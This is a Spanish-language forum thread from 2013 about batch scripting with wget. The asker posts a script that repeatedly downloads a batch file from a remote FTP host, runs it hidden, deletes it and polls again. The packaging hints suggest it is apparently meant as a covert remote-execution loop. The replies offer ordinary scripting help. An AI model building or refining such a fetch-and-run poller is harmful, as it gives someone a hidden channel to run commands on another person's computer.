wget duda batch

Iniciado por asdexiva, 8 Agosto 2013, 19:10 PM

0 Miembros y 1 Visitante están viendo este tema.

asdexiva

habra alguna forma de que revise batch en un ftp remoto si existe un archivo y si existe que lo baje si no que se vaya tiempo de espera ?

ejemplo
:inicio
if exist public_html/as.bat goto seguir
if no exist public_html/as.bat goto tiempo
:seguir
wget ftp://usuario:password@servidorftp/public_html/as.bat -O "C:\xd.bat"
:seguir
ping 127.0.0.1 -n 60
goto inicio


quiero algo de ayuda en esto

if exist public_html/as.bat goto seguir
if no exist public_html/as.bat goto tiempo


alguna forma de hacerlo ?

o si no es posible asi

alguna de idea de como wget no me baje un archivo de 0kb ? por que necesito que wget no me baje nada por ejemplo tengo un archivo en mi host si existe el archivo que lo baje y lo ejecute pero si no existe que no me baje nada porque wget me baja un archivo de 0kb  aver si alguien me puede ayudar gracias

orlando9427

Podrías usar el comando FTP para iniciar sesión, después usas el comando LS para listar los ficheros del directorio y guardarlo en un archivo temporal, compruebas si existe con un FOR y si lo encuentras lo descargas.

Este enlace te puede servir para entender el comando FTP.
http://urpiano.wordpress.com/2007/11/23/como-acceder-a-un-servidor-ftp-desde-un-fichero-bat/

Saludos!

Eleкtro

Te hago un ejemplo:

Código (dos) [Seleccionar]
@Echo OFF

Set "FTPDir=ftp://ftp.mozilla.org:21/pub/"
Set "FileList=%TEMP%\Files.tmp"
Set "FileName=ls-lR.gz"

Wget "%FTPDir%" -O "%FileList%" && (
Type "%FileList%" | Find /I "%FTPDir%%FileName%" 1>NUL && (
Echo Archivo encontrado.
) || (
Echo Archivo NO encontrado.
)
)

Del /Q "%FileList%"
Pause&Exit


Saludos








asdexiva

Cita de: EleKtro H@cker en  8 Agosto 2013, 20:56 PM
Te hago un ejemplo:

Código (dos) [Seleccionar]
@Echo OFF

Set "FTPDir=ftp://ftp.mozilla.org:21/pub/"
Set "FileList=%TEMP%\Files.tmp"
Set "FileName=ls-lR.gz"

Wget "%FTPDir%" -O "%FileList%" && (
Type "%FileList%" | Find /I "%FTPDir%%FileName%" 1>NUL && (
Echo Archivo encontrado.
) || (
Echo Archivo NO encontrado.
)
)

Del /Q "%FileList%"
Pause&Exit


Saludos

elektro no me sirve ese codigo por que ocupa logiar a un ftp si podrias ayudarme con este gracias o si alguien se anima gracias

@echo off
copy %MYFILES%\wget.exe C:\wget.exe
:XD

C:\wget ftp://usuario:password@server19.000webhost.com/public_html/as.bat -O "C:\xd.bat"
FOR %%a IN (C:\xd.bat) DO IF %%~za == 0 DEL %%a
FOR %%a IN (C:\xd.bat) DO IF %%~za == 0 DEL %%a

if not exist C:\xd.bat goto times
if exist C:\xd.bat goto seguir
:seguir
ping 127.0.0.1 -n 3
start /b C:\xd.bat
ping 127.0.0.1 -n 3
del C:\xd.bat

:times
ping 127.0.0.1 -n 30



goto XD


lo que hace este codigo es que si en el ftp esta el archivo as.bat lo baja y lo ejecuta y despues lo borra pero si no ay ningun archivo en el ftp se baja un archivo de 0kb con el nombre de as.bat y el for se encarga de borrar el archivo de 0 kb por que no me sirve
habra alguna forma de revisar en el ftp si se encuentra el archivo as.bat y si se encuentra que lo baje y lo ejecute y si no no baje nada y vaya al tiempo de espera ?

o alguna forma para que el wget no baje nada si no encuentra el archivo por que si el archivo no se encuentra en el ftp me baja un archivo de 0kb

gracias

Eleкtro

Cita de: asdexiva en 10 Agosto 2013, 19:16 PM
elektro no me sirve ese codigo por que ocupa logiar a un ftp si podrias ayudarme con este gracias o si alguien se anima gracias

¿Porque no te sirve?, si solo tienes que modificar el nombre del archivo, y la dirección FTP añadiendo el user y el pass como lo haces en el segundo ejemplo... :-/

Como ya te digo solo tienes que hacer eso xD, pero bueno, te doy una solución alternativa, si dices que es un archivo nulo entonces puedes checkar el tamaño del archivo descargado (en bytes):
Código (dos) [Seleccionar]

For /F %%S in ("xd.bat") do (

   If %~zS EQU 0 then (
       Goto:...
   ) ELSE (
       REM Hacer cosas con el archivo...
   )

)


Saludos